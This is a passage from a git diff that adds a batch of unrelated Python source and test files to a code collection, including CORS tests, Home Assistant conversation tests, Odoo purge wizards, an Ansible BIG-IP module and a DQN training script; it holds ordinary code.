on_post(self, req, res): + res.body = 1 / 0 + + +class HelloHandler: + def on_get(self, req, res): + res.body = 'Hello' + + def on_post(self, req, res): + res.body = 'Hello' + + +@fixture(scope='function') +def client(uuid_mock, app, client): + app.add_route('/testing/error', ErrorHandler()) + app.add_route('/testing/hello', HelloHandler()) + return client + + +def test_preflight_request_should_return_cors_headers(client): + # TODO update webtest client, let developer pass HTTP header value as unicode string + res = client.options('/testing/hello', headers={ + 'Origin': b'http://example.com', + 'Access-Control-Request-Method': b'POST', + 'Access-Control-Request-Headers': b'Accept, Content-Type, Authorization' + }) + + assert res.status_code == 204, res.text + cors_headers = dict((k, v) for k, v in res.headers.items() if 'Access-Control' in k) + assert_deep_equal(cors_headers, { + 'Access-Control-Allow-Headers': 'Accept, Content-Type, Authorization', + 'Access-Control-Allow-Origin': '*', + 'Access-Control-Allow-Credentials': 'true', + 'Access-Control-Allow-Methods': 'POST', + 'Access-Control-Max-Age': '1728000' + }) + + +def test_post_should_return_cors_headers(client): + res = client.post('/testing/hello', headers={'Origin': b'http://example.com'}) + + assert res.status_code == 200, res.text + assert res.text == 'Hello' + cors_headers = dict((k, v) for k, v in res.headers.items() if 'Access-Control' in k) + assert_deep_equal(cors_headers, { + 'Access-Control-Allow-Origin': 'http://example.com', + 'Access-Control-Allow-Credentials': 'true' + }) + + +def test_get_error_should_return_cors_headers(client): + res = client.post('/testing/error', headers={'Origin': b'http://example.com'}, expect_errors=True) + + assert res.status_code == 500, res.text + assert_deep_equal(res.json, { + 'error': { + 'id': '11111111111111111111111111111111', + 'type': 'internal', + 'message': 'division by zero' + } + }) + cors_headers = dict((k, v) for k, v in res.headers.items() if 'Access-Control' in k) + assert_deep_equal(cors_headers, { + 'Access-Control-Allow-Origin': 'http://example.com', + 'Access-Control-Allow-Credentials': 'true' + }) \ No newline at end of file diff --git a/pool/shard008/Python/0075487_11559.py b/pool/shard008/Python/0075487_11559.py new file mode 100644 index 0000000000000000000000000000000000000000..4281e1c05eb2bc4e0f899252ed533b4137854155 --- /dev/null +++ b/pool/shard008/Python/0075487_11559.py @@ -0,0 +1,50 @@ + + +# ___declarations in `utilities.py`___ +# do update in `utilities.py` if you do any change + +import fileinput +from contextlib import contextmanager + +@contextmanager +def line_bind(line, *args, splitter=' '): + yield (c(v) for c, v in zip(args, line.split(splitter))) + +@contextmanager +def stdin_input(): + yield fileinput.input() + +def forever_read_until_event(fn, event=StopIteration): + with stdin_input() as f: + while True: + try: fn(f) + except event: break +#_________________________________________________________________________ + + +def reader(f): + + inf = float("+inf") + cheaper = inf + + with line_bind(next(f), int, int, int, int) as (n, b, h, w): + + for _ in range(h): + + with line_bind(next(f), int) as (p,), \ + line_bind(next(f), *([int] * w)) as beds: + + cost = n * p + + if cost > b or all(map(lambda bs: n > bs, beds)): continue + + cheaper = min(cheaper, cost) + + print("stay home" if cheaper == inf else str(cheaper)) + +# do the planning +forever_read_until_event(reader) + + + + diff --git a/pool/shard008/Python/0075488_cache-packages.py b/pool/shard008/Python/0075488_cache-packages.py new file mode 100644 index 0000000000000000000000000000000000000000..c9386e8e37aa8a33fb83ac506a42d67db70ca834 --- /dev/null +++ b/pool/shard008/Python/0075488_cache-packages.py @@ -0,0 +1,23 @@ +#!/usr/bin/python +"""Example for packages. Print all essential and important packages""" + +import apt_pkg + + +def main(): + """Main.""" + apt_pkg.init_config() + apt_pkg.init_system() + cache = apt_pkg.Cache() + print("Essential packages:") + for pkg in cache.packages: + if pkg.essential: + print(" ", pkg.name) + print("Important packages:") + for pkg in cache.packages: + if pkg.important: + print(" ", pkg.name) + + +if __name__ == "__main__": + main() diff --git a/pool/shard008/Python/0075495_main__.py b/pool/shard008/Python/0075495_main__.py new file mode 100644 index 0000000000000000000000000000000000000000..602f7dee110e4e8519e191fff5c856b3b70fefd2 --- /dev/null +++ b/pool/shard008/Python/0075495_main__.py @@ -0,0 +1,29 @@ +from flask import Flask +import logging +from logging.handlers import RotatingFileHandler +import os +from werkzeug.serving import run_simple +from werkzeug.wsgi import DispatcherMiddleware + +#sys.path.insert(0, os.path.dirname(os.path.dirname(__file__))) + +from yadagetemplates.server import template_app, SERVER_PORT # noqa + +# Switch logging on if not in debug mode +if template_app.debug is False: + formatter = logging.Formatter("%(asctime)s - %(name)s - %(levelname)s - %(message)s") + if 'LOG_DIR' in template_app.config: + file_handler = RotatingFileHandler( + os.path.join(template_app.config['LOG_DIR'], 'workflow-repository.log'), + maxBytes=1024 * 1024 * 100, + backupCount=20 + ) + file_handler.setLevel(logging.ERROR) + file_handler.setFormatter(formatter) + template_app.logger.addHandler(file_handler) +# Load a dummy app at the root URL to give 404 errors. +# Serve app at APPLICATION_ROOT for localhost development. +application = DispatcherMiddleware(Flask('dummy_app'), { + template_app.config['APPLICATION_ROOT']: template_app, +}) +run_simple('0.0.0.0', SERVER_PORT, application, use_reloader=template_app.debug) diff --git a/pool/shard008/Python/0075500_controller.py b/pool/shard008/Python/0075500_controller.py new file mode 100644 index 0000000000000000000000000000000000000000..42009ba9de8ead54b69b4f6aab4c1bf3d1404839 --- /dev/null +++ b/pool/shard008/Python/0075500_controller.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python + +import gtk +import vte +import os +import time +import pango + +class Admin_Notebook(): + def create_notebook(self): + notebook = gtk.Notebook() + notebook.set_current_page(0) + notebook.set_tab_pos(gtk.POS_LEFT) + notebook.show() + return notebook + + def create_frame(self, name, border=10): + frame = gtk.Frame("") + frame.set_border_width(border) + frame.show() + label = gtk.Label(name) + label.set_alignment(0, 0.5) + label.set_justify(True) + label.show() + return frame, label + + def append_tab(self, notebook, frame, label): + page = notebook.append_page(frame,label) + notebook.set_current_page(page) + return page + +class Admin_Terminal(): + def create_terminal(self, cmd_exit, args_show=None): + terminal = vte.Terminal() + terminal.connect("child-exited", cmd_exit) + terminal.connect("show", self.show_callback, args_show) + terminal.fork_command("bash") + terminal.show() + return terminal + + def show_callback(self, terminal, args=None): + time.sleep(1) + if args: + terminal.feed_child(str(args)) + + def load_pref_file(self, session=None): + if session: + from configobj import ConfigObj + if session == "root": + pref_file = "/root/.pyAeJokuaa/plugins/hesapea/pref.conf" + else: + pref_file = "/home/"+session+"/.pyAeJokuaa/plugins/hesapea/pref.conf" + if os.path.isfile(pref_file): + config = ConfigObj(pref_file) + preference = {} + for i in config: + preference[i] = config[i] + return preference + else: + os.system("mkdir -p "+pref_file.replace("pref.conf", "")) + config = ConfigObj() + config.filename = pref_file + config["font"] = "Courier 10 Pitch 9" + config["transparent"] = False + config.write() + return True + else: + return False + + def load_preference(self, terminal, session): + dict_pref = self.load_pref_file(session) + for i in dict_pref: + if i == "font": + terminal.set_font_full(pango.FontDescription(dict_pref[i]), + vte.ANTI_ALIAS_FORCE_DISABLE) + if i == "transparent": + if dict_pref[i] == "False": + terminal.set_background_transparent(False) + else: + terminal.set_background_transparent(True) + diff --git a/pool/shard008/Python/0075511_findPairs.py b/pool/shard008/Python/0075511_findPairs.py new file mode 100644 index 0000000000000000000000000000000000000000..71f9542ff8a6085c3fa01dffd2eed9f61ac98656 --- /dev/null +++ b/pool/shard008/Python/0075511_findPairs.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python +#-*- coding = utf-8 -*- + +import sys +import os +import re + +pairSetC = { + re.compile(r'^\s*#ifn?def\s+(\S+\s*)+$') : ( re.compile(r'^\s*#endif\s*(\s*//.*)?$'), r'endif'), + re.compile(r'^\s*#if\s+(\S+\s*)+$') : ( re.compile(r'^\s*#endif\s*(\s*//.*)?$'), r'endif') + } +pairSetMakefile = { + re.compile(r'^\s*ifn?def\s+(\S+\s*)+$') : ( re.compile(r'^\s*endif\s*(\s*#.*)?$'), r'endif'), + re.compile(r'^\s*ifn?eq\s+(\S+\s*)+$') : ( re.compile(r'^\s*endif\s*(\s*#.*)?$'), r'endif'), + re.compile(r'^\s*define\s+(\S+\s*)+$') : ( re.compile(r'^\s*endef\s*(\s*#.*)?$'), r'define'), + } +pairSetShell = { + re.compile(r'^\s*(.*;)*\s*do(\s.*)?\s*$') : ( re.compile(r'^\s*(.*;)*\s*done\s*;?(\s.*)?$'), r'do'), + re.compile(r'^\s*;?\s*case\s.+$') : ( re.compile(r'^\s*;?\s*esac\s*$') , r'case'), + re.compile(r'^\s*;?\s*if\s.*$') : ( re.compile('^\s*;?\s*fi\s*;?\s*$') , r'if') + } + +class FindPair(): + def __init__(self, fileName): + self.fileName = fileName + + def identifyFile(self): + if os.path.isfile(self.fileName): + if re.compile(r'.+\.sh$').match(self.fileName): + self.fileType = pairSetShell + elif re.compile(r'^[Mm]akefile$').match(self.fileName) or re.compile(r'^MAKEFILE$').match(self.fileName) or re.compile(r'.+\.mk$').match(self.fileName): + self.fileType = pairSetMakefile + elif re.compile(r'.+\.(c|cc|cpp)').match(self.fileName): + self.fileType = pairSetC + else: + print '%s is not a file' % self.fileName + return None + + def findErrorPair(self): + + with open(self.fileName) as mFile: + stack = [] + lineNum = 0 + nLineContent = [] + for line in mFile.readlines(): + lineNum += 1 + for key in self.fileType.keys(): + if key.match(line): + stack.append(key) + nLineContent.append(str(lineNum) + ': ' + line) + print 'key ' + str(lineNum) + ': ' + line + break + if self.fileType[key][0].match(line): + if len(stack) != 0 and self.fileType[stack[len(stack) - 1]][1] == self.fileType[key][1]: + stack.pop() + nLineContent.pop() + print 'value %d: %s' % (lineNum, line) + break + else: + print 'Error at:' + print 'Near here! %d: %s' % (lineNum, line) + return + if len(stack) == 0: + print 'No error pair was found!' + else: + for content in nLineContent: + print 'Error at:' + print 'Near here! %s' % (content) + + + +if __name__ == "__main__": + if len(sys.argv) == 2: + finder = FindPair(sys.argv[1]) + finder.identifyFile() + finder.findErrorPair() + else: + print "Usage:" + print "%s xxxx" % sys.argv[0] diff --git a/pool/shard008/Python/0075522_test_conversation.py b/pool/shard008/Python/0075522_test_conversation.py new file mode 100644 index 0000000000000000000000000000000000000000..26ace315a3792d0b05194509909f28d447e661b4 --- /dev/null +++ b/pool/shard008/Python/0075522_test_conversation.py @@ -0,0 +1,107 @@ +"""The tests for the Conversation component.""" +# pylint: disable=too-many-public-methods,protected-access +import unittest +from unittest.mock import patch + +from homeassistant.bootstrap import setup_component +import homeassistant.components as core_components +from homeassistant.components import conversation +from homeassistant.const import ATTR_ENTITY_ID + +from tests.common import get_test_home_assistant + + +class TestConversation(unittest.TestCase): + """Test the conversation component.""" + + def setUp(self): # pylint: disable=invalid-name + """Setup things to be run when tests are started.""" + self.ent_id = 'light.kitchen_lights' + self.hass = get_test_home_assistant(3) + self.hass.states.set(self.ent_id, 'on') + self.assertTrue(core_components.setup(self.hass, {})) + self.assertTrue(setup_component(self.hass, conversation.DOMAIN, { + conversation.DOMAIN: {}})) + + def tearDown(self): # pylint: disable=invalid-name + """Stop everything that was started.""" + self.hass.stop() + + def test_turn_on(self): + """Setup and perform good turn on requests.""" + calls = [] + + def record_call(service): + calls.append(service) + + self.hass.services.register('light', 'turn_on', record_call) + + event_data = {conversation.ATTR_TEXT: 'turn kitchen lights on'} + self.assertTrue(self.hass.services.call( + conversation.DOMAIN, 'process', event_data, True)) + + call = calls[-1] + self.assertEqual('light', call.domain) + self.assertEqual('turn_on', call.service) + self.assertEqual([self.ent_id], call.data[ATTR_ENTITY_ID]) + + def test_turn_off(self): + """Setup and perform good turn off requests.""" + calls = [] + + def record_call(service): + calls.append(service) + + self.hass.services.register('light', 'turn_off', record_call) + + event_data = {conversation.ATTR_TEXT: 'turn kitchen lights off'} + self.assertTrue(self.hass.services.call( + conversation.DOMAIN, 'process', event_data, True)) + + call = calls[-1] + self.assertEqual('light', call.domain) + self.assertEqual('turn_off', call.service) + self.assertEqual([self.ent_id], call.data[ATTR_ENTITY_ID]) + + @patch('homeassistant.components.conversation.logging.Logger.error') + @patch('homeassistant.core.ServiceRegistry.call') + def test_bad_request_format(self, mock_logger, mock_call): + """Setup and perform a badly formatted request.""" + event_data = { + conversation.ATTR_TEXT: + 'what is the answer to the ultimate question of life, ' + + 'the universe and everything'} + self.assertTrue(self.hass.services.call( + conversation.DOMAIN, 'process', event_data, True)) + self.assertTrue(mock_logger.called) + self.assertFalse(mock_call.called) + + @patch('homeassistant.components.conversation.logging.Logger.error') + @patch('homeassistant.core.ServiceRegistry.call') + def test_bad_request_entity(self, mock_logger, mock_call): + """Setup and perform requests with bad entity id.""" + event_data = {conversation.ATTR_TEXT: 'turn something off'} + self.assertTrue(self.hass.services.call( + conversation.DOMAIN, 'process', event_data, True)) + self.assertTrue(mock_logger.called) + self.assertFalse(mock_call.called) + + @patch('homeassistant.components.conversation.logging.Logger.error') + @patch('homeassistant.core.ServiceRegistry.call') + def test_bad_request_command(self, mock_logger, mock_call): + """Setup and perform requests with bad command.""" + event_data = {conversation.ATTR_TEXT: 'turn kitchen lights over'} + self.assertTrue(self.hass.services.call( + conversation.DOMAIN, 'process', event_data, True)) + self.assertTrue(mock_logger.called) + self.assertFalse(mock_call.called) + + @patch('homeassistant.components.conversation.logging.Logger.error') + @patch('homeassistant.core.ServiceRegistry.call') + def test_bad_request_notext(self, mock_logger, mock_call): + """Setup and perform requests with bad command with no text.""" + event_data = {} + self.assertTrue(self.hass.services.call( + conversation.DOMAIN, 'process', event_data, True)) + self.assertTrue(mock_logger.called) + self.assertFalse(mock_call.called) diff --git a/pool/shard008/Python/0075531_test_resolve_secrets.py b/pool/shard008/Python/0075531_test_resolve_secrets.py new file mode 100644 index 0000000000000000000000000000000000000000..234d4090ef0eb4fe76ea3b196795e7b9379a9b37 --- /dev/null +++ b/pool/shard008/Python/0075531_test_resolve_secrets.py @@ -0,0 +1,29 @@ +import mock + +from shpkpr.vault import resolve_secrets + + +@mock.patch("shpkpr.cli.options.hvac.Client") +def test_resolve_secrets(mock_vault_client_class): + mock_vault_data = { + 'secret/my_project/my_path': { + 'my_key': 'some_secret_info' + } + } + mock_rendered_template = { + 'secrets': { + 'MY_SECRET_USING_REL_PATH': {'source': 'my_project/my_path:my_key'}, + 'MY_SECRET_USING_FULL_PATH': {'source': 'secret/my_project/my_path:my_key'}, + } + } + + def read_vault_data(path): + secrets = mock_vault_data.get(path, None) + return dict(data=secrets) if secrets else None + + mock_vault_client = mock_vault_client_class.return_value + mock_vault_client.read.side_effect = read_vault_data + + result = resolve_secrets(mock_vault_client, mock_rendered_template) + assert 'MY_SECRET_USING_REL_PATH' not in result + assert result['MY_SECRET_USING_FULL_PATH'] == 'some_secret_info' diff --git a/pool/shard008/Python/0075535_combiners_test.py b/pool/shard008/Python/0075535_combiners_test.py new file mode 100644 index 0000000000000000000000000000000000000000..0ca459a367cf8506ed40e216b87f2fea5eef13fe --- /dev/null +++ b/pool/shard008/Python/0075535_combiners_test.py @@ -0,0 +1,77 @@ +# Copyright 2021 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +"""Tests for xarray_beam._src.combiners.""" + +from absl.testing import absltest +import numpy as np +import xarray +import xarray_beam as xbeam +from xarray_beam._src import test_util + + +# pylint: disable=expression-not-assigned +# pylint: disable=pointless-statement + + +class MeanTest(test_util.TestCase): + + def test_globally(self): + nan = np.nan + data_with_nans = np.array( + [[1, 2, 3], [4, 5, nan], [6, nan, nan], [nan, nan, nan]] + ) + dataset = xarray.Dataset({'foo': (('x', 'y'), data_with_nans)}) + inputs_x = [dataset.isel(x=i) for i in range(4)] + inputs_y = [dataset.isel(y=i) for i in range(3)] + + with self.subTest('skipna-default'): + expected = dataset.mean('y', skipna=True) + actual, = inputs_y | xbeam.Mean.Globally() + xarray.testing.assert_allclose(expected, actual) + + with self.subTest('skipna=True'): + expected = dataset.mean('y', skipna=True) + actual, = inputs_y | xbeam.Mean.Globally(skipna=True) + xarray.testing.assert_allclose(expected, actual) + + expected = dataset.mean('x', skipna=True) + actual, = inputs_x | xbeam.Mean.Globally(skipna=True) + xarray.testing.assert_allclose(expected, actual) + + with self.subTest('skipna=False', skipna=False): + expected = dataset.mean('y', skipna=False) + actual, = inputs_y | xbeam.Mean.Globally(skipna=False) + xarray.testing.assert_allclose(expected, actual) + + expected = dataset.mean('x', skipna=False) + actual, = inputs_x | xbeam.Mean.Globally(skipna=False) + xarray.testing.assert_allclose(expected, actual) + + def test_per_key(self): + inputs = [ + (0, xarray.Dataset({'x': 1})), + (0, xarray.Dataset({'x': 2})), + (1, xarray.Dataset({'x': 3})), + (1, xarray.Dataset({'x': 4})), + ] + expected = [ + (0, xarray.Dataset({'x': 1.5})), + (1, xarray.Dataset({'x': 3.5})), + ] + actual = inputs | xbeam.Mean.PerKey() + self.assertAllCloseChunks(actual, expected) + + +if __name__ == '__main__': + absltest.main() diff --git a/pool/shard008/Python/0075536_purge_wizard.py b/pool/shard008/Python/0075536_purge_wizard.py new file mode 100644 index 0000000000000000000000000000000000000000..361615512a551405cfa844026f81b921f001867d --- /dev/null +++ b/pool/shard008/Python/0075536_purge_wizard.py @@ -0,0 +1,96 @@ +# Copyright 2014-2016 Therp BV +# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html). +# pylint: disable=consider-merging-classes-inherited + +import logging +from odoo import _, api, fields, models +from odoo.exceptions import AccessDenied + + +class CleanupPurgeLine(models.AbstractModel): + """ Abstract base class for the purge wizard lines """ + _name = 'cleanup.purge.line' + _order = 'name' + _description = 'Purge Column Abstract Wizard' + + name = fields.Char('Name', readonly=True) + purged = fields.Boolean('Purged', readonly=True) + wizard_id = fields.Many2one('cleanup.purge.wizard') + + logger = logging.getLogger('odoo.addons.database_cleanup') + + @api.multi + def purge(self): + raise NotImplementedError + + @api.model + def create(self, values): + # make sure the user trying this is actually supposed to do it + if self.env.ref( + 'base.group_erp_manager') not in self.env.user.groups_id: + raise AccessDenied + return super(CleanupPurgeLine, self).create(values) + + +class PurgeWizard(models.AbstractModel): + """ Abstract base class for the purge wizards """ + _name = 'cleanup.purge.wizard' + _description = 'Purge stuff' + + @api.model + def default_get(self, fields_list): + res = super(PurgeWizard, self).default_get(fields_list) + if 'purge_line_ids' in fields_list: + res['purge_line_ids'] = self.find() + return res + + @api.multi + def find(self): + raise NotImplementedError + + @api.multi + def purge_all(self): + self.mapped('purge_line_ids').purge() + return True + + @api.model + def get_wizard_action(self): + wizard = self.create({}) + return { + 'type': 'ir.actions.act_window', + 'name': wizard.display_name, + 'views': [(False, 'form')], + 'res_model': self._name, + 'res_id': wizard.id, + 'flags': { + 'action_buttons': False, + 'sidebar': False, + }, + } + + @api.multi + def select_lines(self): + return { + 'type': 'ir.actions.act_window', + 'name': _('Select lines to purge'), + 'views': [(False, 'tree'), (False, 'form')], + 'res_model': self._fields['purge_line_ids'].comodel_name, + 'domain': [('wizard_id', 'in', self.ids)], + } + + @api.multi + def name_get(self): + return [ + (this.id, self._description) + for this in self + ] + + @api.model + def create(self, values): + # make sure the user trying this is actually supposed to do it + if self.env.ref( + 'base.group_erp_manager') not in self.env.user.groups_id: + raise AccessDenied + return super(PurgeWizard, self).create(values) + + purge_line_ids = fields.One2many('cleanup.purge.line', 'wizard_id') diff --git a/pool/shard008/Python/0075539_import-mbartists.py b/pool/shard008/Python/0075539_import-mbartists.py new file mode 100644 index 0000000000000000000000000000000000000000..fe0c43a6fbcc86ae92b0cdec2159d4dcd0f9b9eb --- /dev/null +++ b/pool/shard008/Python/0075539_import-mbartists.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python + +import sys, gzip, time +import MySQLdb as ordbms +import csv + +class MBArtistIdImport: + + def __init__(self, hostname, username, password, database): + self.conn = ordbms.connect (host = hostname, + user = username, + passwd = password, + db = database) + + self.cursor = self.conn.cursor () + + + def parse(self, dump): + for row in csv.reader(dump, dialect='excel-tab'): + if self.artist_exists(row[1]): + try: + self.cursor.execute("UPDATE Artist SET imbid = %s, mbid = %s WHERE name = %s", (row[0], row[2], row[1])); + except Exception, e: + print e + else: + try: + self.cursor.execute("INSERT INTO Artist (imbid, name, mbid) VALUES (%s, %s, %s)", (row[0], row[1], row[2])); + except Exception, e: + print e + + def close(self): + self.cursor.close() + self.conn.commit() + self.conn.close() + + + def artist_exists(self, artist): + try: + self.cursor.execute("SELECT name FROM Artist WHERE name = %s ", (artist,)) + return self.cursor.rowcount != 0 + except: + return False + +if __name__ == "__main__": + + if len(sys.argv) != 6: + print "Usage: import-mbartists.py " + sys.exit(1) + + if sys.argv[1][-2:] == "gz": + dump = gzip.open(sys.argv[1], "r") + else: + dump = open(sys.argv[1], "r") + + importer = MBArtistIdImport(sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5]) + importer.parse(dump) + importer.close() diff --git a/pool/shard008/Python/0075541_cf_connections.py b/pool/shard008/Python/0075541_cf_connections.py new file mode 100644 index 0000000000000000000000000000000000000000..9d221debb902c85f90c115414207000381f90551 --- /dev/null +++ b/pool/shard008/Python/0075541_cf_connections.py @@ -0,0 +1,91 @@ +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from oslo_db import exception +import sqlalchemy + +from murano.db import models +from murano.db import session as db_session + + +def set_tenant_for_org(cf_org_id, tenant): + """Store tenant-org link to db""" + unit = db_session.get_session() + try: + with unit.begin(): + org = models.CFOrganization() + org.id = cf_org_id + org.tenant = tenant + unit.add(org) + except exception.DBDuplicateEntry: + unit.execute(sqlalchemy.update(models.CFOrganization).where( + models.CFOrganization.id == cf_org_id).values( + tenant=tenant)) + + +def set_environment_for_space(cf_space_id, environment_id): + """Store env-space link to db""" + unit = db_session.get_session() + try: + with unit.begin(): + space = models.CFSpace() + space.id = cf_space_id + space.environment_id = environment_id + unit.add(space) + except exception.DBDuplicateEntry: + unit.execute(sqlalchemy.update(models.CFSpace).where( + models.CFSpace.id == cf_space_id).values( + environment_id=environment_id)) + + +def set_instance_for_service(instance_id, service_id, environment_id, tenant): + """Store env-space link to db""" + unit = db_session.get_session() + try: + with unit.begin(): + connection = models.CFServiceInstance() + connection.id = instance_id + connection.service_id = service_id + connection.environment_id = environment_id + connection.tenant = tenant + unit.add(connection) + except exception.DBDuplicateEntry: + unit.execute(sqlalchemy.update(models.CFServiceInstance).where( + models.CFServiceInstance.id == instance_id).values( + environment_id=environment_id)) + + +def get_environment_for_space(cf_space_id): + """Take env id related to space from db""" + unit = db_session.get_session() + connection = unit.query(models.CFSpace).get(cf_space_id) + return connection.environment_id + + +def get_tenant_for_org(cf_org_id): + """Take tenant id related to org from db""" + unit = db_session.get_session() + connection = unit.query(models.CFOrganization).get(cf_org_id) + return connection.tenant + + +def get_service_for_instance(instance_id): + unit = db_session.get_session() + connection = unit.query(models.CFServiceInstance).get(instance_id) + return connection + + +def delete_environment_from_space(environment_id): + unit = db_session.get_session() + unit.query(models.CFSpace).filter( + models.CFSpace.environment_id == environment_id).delete( + synchronize=False) diff --git a/pool/shard008/Python/0075542_bigip_hostname.py b/pool/shard008/Python/0075542_bigip_hostname.py new file mode 100644 index 0000000000000000000000000000000000000000..610ab5ebce75a7991f5f168bc27bf07502a17fbd --- /dev/null +++ b/pool/shard008/Python/0075542_bigip_hostname.py @@ -0,0 +1,208 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +# +# Copyright 2016 F5 Networks Inc. +# +# This file is part of Ansible +# +# Ansible is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Ansible is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Ansible. If not, see . + +ANSIBLE_METADATA = {'metadata_version': '1.1', + 'status': ['preview'], + 'supported_by': 'community'} + +DOCUMENTATION = ''' +--- +module: bigip_hostname +short_description: Manage the hostname of a BIG-IP. +description: + - Manage the hostname of a BIG-IP. +version_added: "2.3" +options: + hostname: + description: + - Hostname of the BIG-IP host. + required: True +notes: + - Requires the f5-sdk Python package on the host. This is as easy as pip + install f5-sdk. +extends_documentation_fragment: f5 +requirements: + - f5-sdk +author: + - Tim Rupp (@caphrim007) + - Matthew Lam (@mryanlam) +''' + +EXAMPLES = ''' +- name: Set the hostname of the BIG-IP + bigip_hostname: + hostname: "bigip.localhost.localdomain" + password: "admin" + server: "bigip.localhost.localdomain" + user: "admin" + delegate_to: localhost +''' + +RETURN = ''' +hostname: + description: The new hostname of the device + returned: changed + type: string + sample: "big-ip01.internal" +''' + +from ansible.module_utils.f5_utils import ( + AnsibleF5Client, + AnsibleF5Parameters, + HAS_F5SDK, + F5ModuleError, + iControlUnexpectedHTTPError +) + + +class Parameters(AnsibleF5Parameters): + api_attributes = ['hostname'] + updatables = ['hostname'] + returnables = ['hostname'] + + def to_return(self): + result = {} + for returnable in self.returnables: + result[returnable] = getattr(self, returnable) + result = self._filter_params(result) + return result + + def api_params(self): + result = {} + for api_attribute in self.api_attributes: + if self.api_map is not None and api_attribute in self.api_map: + result[api_attribute] = getattr(self, self.api_map[api_attribute]) + else: + result[api_attribute] = getattr(self, api_attribute) + result = self._filter_params(result) + return result + + @property + def hostname(self): + if self._values['hostname'] is None: + return None + return str(self._values['hostname']) + + +class ModuleManager(object): + def __init__(self, client): + self.client = client + self.have = None + self.want = Parameters(self.client.module.params) + self.changes = Parameters() + + def _set_changed_options(self): + changed = {} + for key in Parameters.returnables: + if getattr(self.want, key) is not None: + changed[key] = getattr(self.want, key) + if changed: + self.changes = Parameters(changed) + + def _update_changed_options(self): + changed = {} + for key in Parameters.updatables: + if getattr(self.want, key) is not None: + attr1 = getattr(self.want, key) + attr2 = getattr(self.have, key) + if attr1 != attr2: + changed[key] = attr1 + self.changes = Parameters(changed) + if changed: + return True + return False + + def exec_module(self): + result = dict() + + try: + changed = self.update() + except iControlUnexpectedHTTPError as e: + raise F5ModuleError(str(e)) + + changes = self.changes.to_return() + result.update(**changes) + result.update(dict(changed=changed)) + return result + + def read_current_from_device(self): + resource = self.client.api.tm.sys.global_settings.load() + result = resource.attrs + return Parameters(result) + + def update(self): + self.have = self.read_current_from_device() + if not self.should_update(): + return False + if self.client.check_mode: + return True + self.update_on_device() + return True + + def should_update(self): + result = self._update_changed_options() + if result: + return True + return False + + def update_on_device(self): + params = self.want.api_params() + resource = self.client.api.tm.sys.global_settings.load() + resource.modify(**params) + self.client.api.tm.cm.devices.exec_cmd( + 'mv', name=self.have.hostname, target=self.want.hostname + ) + + +class ArgumentSpec(object): + def __init__(self): + self.supports_check_mode = True + self.argument_spec = dict( + hostname=dict( + required=True, + default=None, + type='str' + ) + ) + self.f5_product_name = 'bigip' + + +def main(): + if not HAS_F5SDK: + raise F5ModuleError("The python f5-sdk module is required") + + spec = ArgumentSpec() + + client = AnsibleF5Client( + argument_spec=spec.argument_spec, + supports_check_mode=spec.supports_check_mode, + f5_product_name=spec.f5_product_name + ) + + try: + mm = ModuleManager(client) + results = mm.exec_module() + client.module.exit_json(**results) + except F5ModuleError as e: + client.module.fail_json(msg=str(e)) + + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0075543_run_dqn_experiment.py b/pool/shard008/Python/0075543_run_dqn_experiment.py new file mode 100644 index 0000000000000000000000000000000000000000..d14b9234ea79c2dd8c78e661b3f4bb79b64ac15e --- /dev/null +++ b/pool/shard008/Python/0075543_run_dqn_experiment.py @@ -0,0 +1,68 @@ +from reinforcepy.environments.ALE import ALEEnvironment +from reinforcepy.learners.dqn import DQNLearner +import time + +EPOCH_DEF = 50000 # an epoch is defined as 50,000 steps in the NIPS paper + + +def load_config(): + # load config from json + from reinforcepy.handlers import Parameters + parameters = Parameters.fromJSON('dqn_cfg.json') + return [parameters['network_parameters'], parameters['training_parameters'], parameters['learner_parameters'], + parameters['experiment_parameters']] + + +def main(experiment_parameters): + experiment_parameters.required(['epochs', 'save_interval', 'rom']) + + # load parameters + network_parameters, training_parameters, learner_parameters, _ = load_config() + + # decide which network to import based on backend parameter + if network_parameters.get('backend') == 'tensorflow': + from reinforcepy.networks.dqn.tflow.dqn_nips import DQN_NIPS + network = DQN_NIPS(network_parameters, training_parameters, log_dir='./runs/', log_steps=2500) + else: + from reinforcepy.networks.dqn.theanolasagne.dqn_nips import DQN_NIPS + network = DQN_NIPS(network_parameters, training_parameters) + + # initialize environment and network/learner + environment = ALEEnvironment(experiment_parameters.get('rom'), skip_frame=learner_parameters.get('skip_frame')) + learner = DQNLearner(learner_parameters, network) + learner.set_action_num(environment.get_num_actions()) + + # main loop to run episodes until enough epochs have been reached + # saves every save_interval + ep_count = 0 + reward_list = list() + st = time.time() + # train until max epochs or keyboard interrupt + try: + while learner.step_count < experiment_parameters.get('epochs') * EPOCH_DEF: + reward = learner.run_episode(environment) + reward_list.append([reward, learner.step_count]) + print("Episode finished", "Reward:", reward, "SPS:", learner.step_count/(time.time() - st), learner.get_status()) + if experiment_parameters.get('save_interval') is not None: + if learner.step_count > ep_count * EPOCH_DEF: + # save parameters + learner.save("./runs/dqn_{0:.2f}".format(ep_count)) + ep_count += experiment_parameters.get('save_interval') + + print("Done, Total Time:", time.time()-st) + except KeyboardInterrupt: + 